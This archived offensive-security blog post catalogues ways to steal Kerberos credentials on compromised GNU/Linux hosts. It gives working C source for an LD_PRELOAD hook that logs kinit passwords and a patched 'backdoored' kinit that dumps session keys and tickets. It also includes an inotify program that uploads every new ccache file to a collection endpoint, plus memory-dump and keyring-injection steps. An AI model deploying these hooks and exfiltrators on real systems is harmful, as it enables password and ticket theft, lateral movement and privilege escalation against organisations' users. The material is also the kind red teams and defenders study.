The Kerberos Credential Thievery Compendium (GNU/Linux) |

Published: 2021-01-28 · Archived: 2026-04-05 14:48:34 UTC

Dear Fell**owl**ship, today's homily is a compendium of well-known techniques used in GNU/Linux to steal kerberos credentials during post-exploitation stages. Please, take a seat and listen to the story.

The techniques discussed in this article are based on the paper [Kerberos Credential Thievery (GNU/Linux)] (2017). The approximation of using inotify to steal ccache files, the injection into process to extract tickets from the kernel keyring and the usage of `LD_PRELOAD` have been used by us in real engagements. The rest has been just tested on lab environments.

The art of hooking (I): LD_PRELOAD

The first approach that we are going to focus is the usage of `LD_PRELOAD` to hook functions related to kerberos, so we can deploy a custom shared object destined to steal plaintext credentials from those programs using kerberos authentication.

We can check `kinit` to locate what functions are susceptible to contain such information:

```
➜  working$ ltrace kinit Administrador@ACUARIO.LOCAL
setlocale(LC_ALL, "")
strrchr("kinit", '/')
fileno(0x7fd428706a00)
isatty(0)
fileno(0x7fd428707760)
isatty(1)
fileno(0x7fd428707680)
isatty(2)
set_com_err_hook(0x564277f1d4b0, 0, 0, 0)
getopt_long(2, 0x7ffd392b9318, "r:fpFPn54aAVl:s:c:kit:T:RS:vX:CE"..., 0x7ffd392b9090, nil)
krb5_init_context(0x7ffd392b8f50, 0, 1, 0)
krb5_cc_default(0x5642792154a0, 0x7ffd392b8f30, 1, 0)
krb5_cc_get_type(0x5642792154a0, 0x5642792156c0, 0x7fd428bdea40, 0)
krb5_cc_get_principal(0x5642792154a0, 0x5642792156c0, 0x7ffd392b8f38, 0)
krb5_parse_name_flags(0x5642792154a0, 0x7ffd392bb329, 0, 0x7ffd392b8f68)
krb5_cc_support_switch(0x5642792154a0, 0x7fd4289bf254, 0x7ffd392bb344, 13)
krb5_unparse_name(0x5642792154a0, 0x564279216d70, 0x7ffd392b8f70, 0)
krb5_free_principal(0x5642792154a0, 0x564279216ce0, 0, 0)
krb5_get_init_creds_opt_alloc(0x5642792154a0, 0x7ffd392b8f40, 0x564279214010, 0)
krb5_get_init_creds_opt_set_out_ccache(0x5642792154a0, 0x564279216e30, 0x5642792156c0, 0x564279216e80)
krb5_get_init_creds_password(0x5642792154a0, 0x7ffd392b8f80, 0x564279216d70, 0 <unfinished ...>
krb5_get_prompt_types(0x5642792154a0, 0x7ffd392b8f30, 0, 0)
krb5_prompter_posix(0x5642792154a0, 0x7ffd392b8f30, 0, 0Password for Administrador@ACUARIO.LOCAL:
```

```
)
<... krb5_get_init_creds_password resumed> )
kadm5_destroy(0, 0, 0, 3)
krb5_get_init_creds_opt_free(0x5642792154a0, 0x564279216e30, 0, 3)
krb5_free_cred_contents(0x5642792154a0, 0x7ffd392b8f80, 0x564279214010, 3)
krb5_free_unparsed_name(0x5642792154a0, 0x564279216e00, 0x7fd428706ca0, 464)
krb5_free_principal(0x5642792154a0, 0x564279216d70, 0x56427921c3d0, 1)
krb5_cc_close(0x5642792154a0, 0x5642792156c0, 0x564279216df0, 1)
krb5_free_context(0x5642792154a0, 0, 0x564279215c10, 0)
+++ exited (status 0) +++
```

The functions `krb5_get_init_creds_password` and `krb5_prompter_posix` look interesting. The first is defined as:

```
 krb5_error_code KRB5_CALLCONV
krb5_get_init_creds_password(krb5_context context,
                             krb5_creds *creds,
                             krb5_principal client,
                             const char *password,
                             krb5_prompter_fct prompter,
                             void *data,
                             krb5_deltat start_time,
                             const char *in_tkt_service,
                             krb5_get_init_creds_opt *options)
```

As we can see this function has an argument “password” that is a pointer to a string, but as the documentation states this value can be null (in which case a prompt is called, like is doing in `kinit`). This function also uses a pointer to a `krb5_creds` struct that is defined as:

```
 typedef struct _krb5_creds {
    krb5_magic magic;
    krb5_principal client;              /**< client's principal identifier */
    krb5_principal server;              /**< server's principal identifier */
    krb5_keyblock keyblock;             /**< session encryption key info */
    krb5_ticket_times times;            /**< lifetime info */
    krb5_boolean is_skey;               /**< true if ticket is encrypted in
                                           another ticket's skey */
    krb5_flags ticket_flags;            /**< flags in ticket */
    krb5_address **addresses;           /**< addrs in ticket */
    krb5_data ticket;                   /**< ticket string itself */
    krb5_data second_ticket;            /**< second ticket, if related to
                                           ticket (via DUPLICATE-SKEY or
                                           ENC-TKT-IN-SKEY) */
    krb5_authdata **authdata;           /**< authorization data */
} krb5_creds;
```

So we can get the username and (if set) the password used to authenticate. If the password is not provided, we need to check how the prompt is used. The function `krb5_prompter_posix` is defined as:

```
 krb5_error_code KRB5_CALLCONV
krb5_prompter_posix(
    krb5_context        context,
    void                *data,
    const char          *name,
    const char          *banner,
    int                 num_prompts,
    krb5_prompt         prompts[])
```

The source code is easy to understand:

```
     int         fd, i, scratchchar;
    FILE        *fp;
    char        *retp;
    krb5_error_code     errcode;
    struct termios saveparm;
    osiginfo osigint;

    errcode = KRB5_LIBOS_CANTREADPWD;

    if (name) {
        fputs(name, stdout);
        fputs("\n", stdout);
    }
    if (banner) {
        fputs(banner, stdout);
        fputs("\n", stdout);
    }

    /*
     * Get a non-buffered stream on stdin.
     */
    fp = NULL;
    fd = dup(STDIN_FILENO);
    if (fd < 0)
        return KRB5_LIBOS_CANTREADPWD;
    set_cloexec_fd(fd);
    fp = fdopen(fd, "r");
    if (fp == NULL)
        goto cleanup;
    if (setvbuf(fp, NULL, _IONBF, 0))
        goto cleanup;
```

```
    for (i = 0; i < num_prompts; i++) {
        errcode = KRB5_LIBOS_CANTREADPWD;
        /* fgets() takes int, but krb5_data.length is unsigned. */
        if (prompts[i].reply->length > INT_MAX)
            goto cleanup;

        errcode = setup_tty(fp, prompts[i].hidden, &saveparm, &osigint);
        if (errcode)
            break;

        /* put out the prompt */
        (void)fputs(prompts[i].prompt, stdout);
        (void)fputs(": ", stdout);
        (void)fflush(stdout);
        (void)memset(prompts[i].reply->data, 0, prompts[i].reply->length);

        got_int = 0;
        retp = fgets(prompts[i].reply->data, (int)prompts[i].reply->length,
                     fp);
        if (prompts[i].hidden)
            putchar('\n');
        if (retp == NULL) {
            if (got_int)
                errcode = KRB5_LIBOS_PWDINTR;
            else
                errcode = KRB5_LIBOS_CANTREADPWD;
            restore_tty(fp, &saveparm, &osigint);
            break;
        }

        /* replace newline with null */
        retp = strchr(prompts[i].reply->data, '\n');
        if (retp != NULL)
            *retp = '\0';
        else {
            /* flush rest of input line */
            do {
                scratchchar = getc(fp);
            } while (scratchchar != EOF && scratchchar != '\n');
        }

        errcode = restore_tty(fp, &saveparm, &osigint);
        if (errcode)
            break;
        prompts[i].reply->length = strlen(prompts[i].reply->data);
    }
cleanup:
```

```
    if (fp != NULL)
        fclose(fp);
    else if (fd >= 0)
        close(fd);

    return errcode;
}
```

As we can see this function receives an array of prompts and then use `fgets()` to read data from a duped STDIN to store the password in a `krb5_data` field inside `krb5_prompt` structure. So we only need to hook this function too and check those structures to get the cleartext password.

Finally our hook is:

```
 #define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <krb5/krb5.h>

typedef  krb5_error_code (*orig_ftype)(krb5_context context, krb5_creds * creds, krb5_principal client, const ch
typedef krb5_error_code KRB5_CALLCONV (*orig_ftype_2)(krb5_context context, void *data, const char *name, const

krb5_error_code krb5_get_init_creds_password(krb5_context context, krb5_creds * creds, krb5_principal client, co
    krb5_error_code retval;
    orig_ftype orig_krb5;
    orig_krb5 = (orig_ftype)dlsym(RTLD_NEXT, "krb5_get_init_creds_password");
    if (password != NULL) {
        printf("[+] Password %s\n", password);
    }
    retval = orig_krb5(context, creds, client, password, prompter, data, start_time, in_tkt_service, k5_gic_opt
    if (retval == 0) {
         printf("[+] Username: %s\n", creds->client->data->data);
    }
    return retval;
}


krb5_error_code KRB5_CALLCONV krb5_prompter_posix(krb5_context context, void *data, const char *name, const cha
    krb5_error_code retval;
    orig_ftype_2 orig_krb5;
    orig_krb5 = (orig_ftype_2)dlsym(RTLD_NEXT, "krb5_prompter_posix");
    retval = orig_krb5(context, data, name, banner, num_prompts,prompts);
    for (int i = 0; i < num_prompts; i++) {
        if ((int)prompts[i].reply->length > 0) {
            printf("[+] Password: %s\n", prompts[i].reply->data);
        }
```

```
    }
    return retval;
}
```

Let’s check it:

```
 ➜  working$ LD_PRELOAD=/home/vagrant/working/hook_preload.so kinit Administrador@ACUARIO.LOCAL
Password for Administrador@ACUARIO.LOCAL:
[+] Password: MightyPassword.69
[+] Username: Administrador
```

The art of hooking (II): binary patching

Another option can be to sustitute a target binary (or a lib) with one backdoored by us. This can be done throught the compilation of a modified version or patching the original. In our case we are going to patch a binary (kinit, for example) with a simple hook using the project GLORYhook that uses LIEF, Capstone and Keystone under the hood to simplify the process.

To not repeat the same hook this time we are going to patch kinit so it now will print the keyblock and ticket data after a succesfull authentication:

```
 #define _GNU_SOURCE
#include <stdio.h>
#include <krb5/krb5.h>
#include <string.h>

krb5_error_code gloryhook_krb5_get_init_creds_password(krb5_context context, krb5_creds * creds, krb5_principa
    krb5_error_code retval;

    retval = krb5_get_init_creds_password(context, creds, client, password, prompter, data, start_time, in_tkt
    if (retval == 0){
        printf("[+] Keyblock (%08jx):\n", (uintmax_t)creds->keyblock.enctype);
        for (int i = 0; i < creds->keyblock.length; i++) {
            printf("%02X", (unsigned char)creds->keyblock.contents[i]);
        }
        printf("\n[+] Ticket:\n");
        for (int i = 0; i < creds->ticket.length; i++) {
            printf("%02X", (unsigned char)creds->ticket.data[i]);
        }
    }
    return retval;
}
```

Just compile it using the instructions provided by GLORYhook in its readme and test it:

```
 ➜  working$ gcc -shared -zrelro -znow -fPIC hook-patch.c -o hook_patch.so
➜  working$ python3 GLORYHook/glory.py /usr/bin/kinit ./hook_patch.so  -o ./kinit-backdoored
[+] Beginning merge!
[+] Injecting new PLT
[+] Extending GOT for new PLT
[+] Fixing injected PLT
[+] Injecting PLT relocations
[+] Done!
➜  working$ ./kinit-backdoored administrador@ACUARIO.LOCAL
Password for administrador@ACUARIO.LOCAL:
[+] Keyblock (00000012):
E8B9D14EDC610C496A2B0426DDDACFA9AA52501A5998A1F1AF44644FF7F117DC
[+] Ticket:
6182046F3082046BA003020105A10F1B0D4143554152494F2E4C4F43414CA2223020A003020102A11930171B066B726274677417 41B0D41435
```

Playing with the ccache (I): files

The most common way to save kerberos tickets in linux environments is with ccache files. The ccache files by default are in /tmp with a format name like `krb5cc_%UID%` and they can be used directly by the majority of tools based in the Impacket Framework, so we can read the file contents to move laterally (or even to escalate privileges if we are lucky enough to get a TGT from a privileged user) and execute commands via psexec.py/smbexec.py/etc. But if no valid tickets are found (they have a lifetime relatively short) we can wait and set an `inotify` watcher to detect every new generated ticket and forward them to our C&C via https/dns/any-covert-channel.

```
 // Example based on https://www.lynxbee.com/c-program-to-monitor-and-notify-changes-in-a-directory-file-using-i
// Originally this code was posted by our owl @TheXC3LL at his own blog (https://x-c3ll.github.io/posts/rethink
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <limits.h>
#include <unistd.h>
#include <fcntl.h>
#include <curl/curl.h>

#define MAX_EVENTS 1024 /*Max. number of events to process at one go*/
#define LEN_NAME 1024 /*Assuming length of the filename won't exceed 16 bytes*/
#define EVENT_SIZE  ( sizeof (struct inotify_event)  ) /*size of one event*/
#define BUF_LEN     ( MAX_EVENTS * ( EVENT_SIZE + LEN_NAME  ) ) /*buffer to store the data of events*/
```

```
#define endpoint "http://localhost:4444"

int exfiltrate(char* filename) {
    CURL *curl;
    CURLcode res;
    struct stat file_info;
    FILE *fd;

    fd = fopen(filename, "rb");
    if(!fd){
        return -1;
    }
    if(fstat(fileno(fd), &file_info) != 0) {
        return -1;
    }
    curl = curl_easy_init();
    if (curl){
        curl_easy_setopt(curl, CURLOPT_URL, endpoint);
        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
        curl_easy_setopt(curl, CURLOPT_READDATA, fd);
        res = curl_easy_perform(curl);
        if (res != CURLE_OK) {
            return -1;
        }
        curl_easy_cleanup(curl);
    }
    fclose(fd);
    return 0;
}

int main(int argc, char **argv){
    int length, i= 0, wd;
    int fd;
    char buffer[BUF_LEN];
    char *ticketloc = NULL;

    printf("[Kerberos ccache exfiltrator PoC]\n\n");

    //Initiate inotify
    if ((fd = inotify_init()) < 0) {
        printf("Could not initiate inotify!!\n");
        return -1;
    }

    //Add a watcher for the creation or modification of files at /tmp folder
    if ((wd = inotify_add_watch(fd, "/tmp", IN_CREATE | IN_MODIFY)) == -1) {
        printf("Could not add a watcher!!\n");
```

```
        return -2;
    }

    //Main loop
    while(1) {
        i = 0;
        length = read(fd, buffer, BUF_LEN);
        if (length < 0) {
            return -3;
        }

        while (i < length) {
            struct inotify_event *event = (struct inotify_event *)&buffer[i];
            if (event->len) {
                    //Check for prefix
                    if (strncmp(event->name, "krb5cc_", strlen("krb5cc_")) == 0){
                        printf("New cache file found! (%s)", event->name);
                        asprintf(&ticketloc, "/tmp/%s",event->name);
                        //Forward it to us
                        if (exfiltrate(ticketloc) != 0) {
                            printf(" - Failed!\n");
                        }
                        else {
                            printf(" - Exfiltrated!\n");
                        }
                        free(ticketloc);
                    }
                i += EVENT_SIZE + event->len;
            }
        }
    }

}
```

Playing with the ccache (II): memory dumps

If the ticket is only cached by the process (because no other process needs to access to it) it is posible to retrieve it from a memory dump. In the paper that we mentioned earlier (Kerberos Credential Thievery (GNU/Linux)) they follow an approach based on scanning the dumped memory by an sliding window with the size of the keyblock and ticket and then calculate the entropy of those frames to find plausible candidates. With the candidates a ccache file is recreated and tried until all posibilities are emptied.

In our humble opinion this method is a bit overkill and convoluted. A far more simple technique can be to scan the dumped memory to find a pattern inside the `krb5_creds` structure and then locate the pointers to the keyblock and ticket, extract them and create a ccache file. Let’s explain it.

As we said before a `krb5_creds` structure has this definition:

```
typedef struct _krb5_creds {
   krb5_magic magic;
   krb5_principal client;              /**< client's principal identifier */
   krb5_principal server;              /**< server's principal identifier */
   krb5_keyblock keyblock;             /**< session encryption key info */
   krb5_ticket_times times;            /**< lifetime info */
   krb5_boolean is_skey;               /**< true if ticket is encrypted in
                                          another ticket's skey */
   krb5_flags ticket_flags;            /**< flags in ticket */
   krb5_address **addresses;           /**< addrs in ticket */
   krb5_data ticket;                   /**< ticket string itself */
   krb5_data second_ticket;            /**< second ticket, if related to
                                          ticket (via DUPLICATE-SKEY or
                                          ENC-TKT-IN-SKEY) */
   krb5_authdata **authdata;           /**< authorization data */
} krb5_creds;
```

And `krb5_keyblock` is defined as:

```
typedef struct _krb5_keyblock {
   krb5_magic magic;
   krb5_enctype enctype;
   unsigned int length;
   krb5_octet *contents;
} krb5_keyblock;
```

If everything is ok the magic value will be zero, and the enctype is a known value based on the encryption used (for example, 0x17 is rc4-hmac, 0x12 is aes256-sha1, etc.) so only a small subset of values are valid (indeed you can find all here, there are less than 20) and the keyblock size is fixed (it will be only a well-known value like 32 bytes). If we translate this structure to the memory layout we are going to have a structure that starts with `00000000 XX000000 YY00000000000000`, being XX the enctype and YY the length. So, for example, if we request a ticket with aes256-sha1 our `krb5_keyblock` structure will start with `00000000120000002000000000000000`. And this is a pattern that we can use as reference **:)**

```
pwndbg> search -x "00000000120000002000000000000000"
[stack]         0x7fffffffdb78 0x1200000000
```

Here is the beginning of our `krb5_block` (that is inside the `krb5_creds`). So, at this address plus 16 bytes, is the pointer to the keyblock contents (`krb5_octet *contents`):

```
pwndbg> x/1g 0x7fffffffdb78+16
```

```
0x7fffffffdb88: 0x000055555956f3e0
```

So now we can retrieve the the keyblock content:

```
 pwndbg> x/4g 0x000055555956f3e0
0x55555956f3e0: 0x77a5e74f160548a7      0x49980e2202bb7c46
0x55555956f3f0: 0x6e2d067a19e01e0d      0x79a3a2f8503cd0d0
```

If we recall the `krb5_creds` uses a `krb5_data` structure to hold the ticket information (magic, length and pointer to the ticket itself). This pointer to the ticket data is at our pattern plus 64 bytes:

```
 pwndbg> x/1g 0x7fffffffdb78+64
0x7fffffffdbb8: 0x000055555956ea00
```

And finally our desired ticket:

```
 pwndbg> x/100x 0x000055555956ea00
0x55555956ea00: 0x61    0x82    0x04    0x6f    0x30    0x82    0x04    0x6b
0x55555956ea08: 0xa0    0x03    0x02    0x01    0x05    0xa1    0x0f    0x1b
0x55555956ea10: 0x0d    0x41    0x43    0x55    0x41    0x52    0x49    0x4f
0x55555956ea18: 0x2e    0x4c    0x4f    0x43    0x41    0x4c    0xa2    0x22
0x55555956ea20: 0x30    0x20    0xa0    0x03    0x02    0x01    0x02    0xa1
0x55555956ea28: 0x19    0x30    0x17    0x1b    0x06    0x6b    0x72    0x62
0x55555956ea30: 0x74    0x67    0x74    0x1b    0x0d    0x41    0x43    0x55
...
```

The size is located just before the pointer, so you can retrieve it to know how much memory to dump.

Playing with the ccache (III): kernel keyrings

Programs can use in-kernel storage inside keyrings because it offers far more proteccion than the storage via ccache files. This kind of storage has the advantage that only the user can acces to this information via `keyctl`. To thief those juicy tickets we can inject a small stub of code inside processes owned by each user in the compromised machine, and this code will ask the tickets. Easy peasy!

Our friend @Zer1t0 developed a tool called Tickey that does all this job for us:

```
 ➜  working# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in vagrant[1000] session...
[+] Successful injection at process 15547 of vagrant[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in pelagia[1120601337] session...
[+] Successful injection at process 58779 of pelagia[1120601337],look for tickets in /tmp/__krb_1120601337.ccacl
```

```
[*] Trying to inject in aurelia[1120601122] session...
[+] Successful injection at process 15540 of aurelia[1120601122],look for tickets in /tmp/__krb_1120601122.ccach
[X] [uid:0] Error retrieving tickets
```

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Source: https://adepts.of0x.cc/kerberos-thievery-linux/